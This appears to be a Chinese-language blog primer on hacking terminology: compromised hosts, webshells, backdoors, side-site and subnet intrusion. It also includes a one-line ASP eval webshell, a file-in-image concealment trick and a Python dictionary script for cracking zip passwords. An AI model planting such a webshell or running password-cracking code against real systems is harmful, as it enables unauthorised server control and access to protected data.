专业术语
- 脚本 (asp、 php、 jsp)
- html (css、 js、 html)
- HTTP协议
- CMS (B/S)
MD5
肉鸡 : 被黑客入侵并长期驻扎的计算机或服务器
- 抓鸡 : 利用使用量大的程序的漏洞,使用自动化方式获取肉鸡的行为
- Webshell : 通过 Web 入侵的一种脚本工具,可以据此对网站服务进行一定程度的控制
漏洞 : 硬件、软件、协议等可利用安全缺陷,对数据进行篡改、控制等
提权 : 操作系统低权限的账户将自己提升为管理员权限使用的方法
- 后门: 黑客为对主机进行长期的控制,在机器上种植的一段程序或留下的一个”入口”
跳板 : 使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息
旁站 : 对于一个大的服务器,可以供多个网站使用
旁站入侵 : 同服务器下的网站入侵,可以通过提权跨目录等手段拿到目标网站的权限。
- 常见旁站查询工具: WebRoot、御剑、明小子、Web在线查询等。
C段入侵 : 同C段下服务器入侵。如目标Ip为192.168.1.253入侵192.168.1.*的任意一台机器,然后借助一些黑客工具嗅探获取网络上传输的各种信息。
- 常见工具: Cain (windows) 、 Sniffit、Snoop、Tcpdump、Dsniff(Unix)
渗透测试
- 黑盒测试 : 在未授权的情况下,模拟黑客的攻击方法和思维方式,来评估计算机网络系统可能存在的安全风险
黑盒测试不同于黑客攻击,并不等于黑站。黑盒测试考验的是综合的能力 (OS,Database,Script,code,思路,社工)
思路和经验积累往往决定成败
- 黑白盒 : 知道源代码和不知道源代码的渗透测试
黑盒测试为传统的渗透测试,而白盒测试偏向于代码审计
- 渗透测试与入侵的区别
- 渗透测试:更全面的找出服务器的问题,倾向于保护
- 入侵:不择手段的拿到权限
黑客攻击
- DDoS 攻击 : 分布式拒绝服务攻击 (distributed denial-of-service attack)
缺陷: 无法贡献系统
- DNS污染 : DNS (Domain Name System 域名系统) Poisoning
小结
木马:
通过向服务端提交一句简短的代码,配合本地客户端,实现webshell功能的木马
1 | <%eval request("pass")%> |
- request(“pass”) : 接收客户端提交的数据, pass 为执行命令的参数值
- eval/execute : 函数执行客户端命令的内容
黑客之路 一
隐写术
步骤
- 准备一个文件 ,如 test.txt (test.txt是需要被隐藏的文件)
- 将其压缩为zip , 或 rar,直接重命名
- 打开命令终端,将压缩文件定向到需要被隐写的文件
- (可选操作)将被隐写的文件的拓展名修改为 .zip
作用
将test.txt文件定向隐藏至hide.png文件下,即点击图片,其实打开的是test.txt
代码
cat test.txt.zip >> hide.png
使用 Python3 编写破解 zip 压缩包密码
用料:
- 准备需要破解的 zip 文件,找一个密码字典 【可自行制作】
- 运行脚本
读取一个Python zipfile 模块
这里假设filename是一个文件的路径:
1 | import zipfile |
这里使用了z.infolist()
, 它返回的就是压缩包内所有文件的信息,就是一个ZipInfo的列表。一个ZipInfo对象中包含了压缩包内一个文件的信息,其中比较常用的是 filename, file_size, header_offset, 分别为文件名,文件大小,文件数据在压缩包中的偏移
已知密码进行解压
代码1
2
3
4
5import zipfile #导入模块,它是做压缩和解压缩的
password="123" #我们设定的口令
zfile = zipfile.ZipFile("test.zip") #要解压缩的压缩包
zfile.extractall(path='C:\\Users\\Administrator\\Desktop\\', members=zfile.namelist(), pwd=password.encode('utf-8'))
#进行解压缩操作,path为输出的路径
运行一下上面的代码(当然你的加密口令要为123),会发现在桌面上已经把test.zip解压出来了
破解开始
直接上代码1
2
3
4
5
6
7
8
9
10import zipfile
zfile = zipfile.ZipFile("test.zip")
passFile=open('pwd.txt') #读取你设定的密码文件
for line in passFile.readlines():
try:
password = line.strip('\n')
zfile.extractall(path='C:\\Users\\Administrator\\Desktop\\', members=zfile.namelist(), pwd=password.encode('utf-8'))
break
except:
print("密码错误")
利用了try except异常机制,当解压正常的时候就正常密码正常,解压失败会报出异常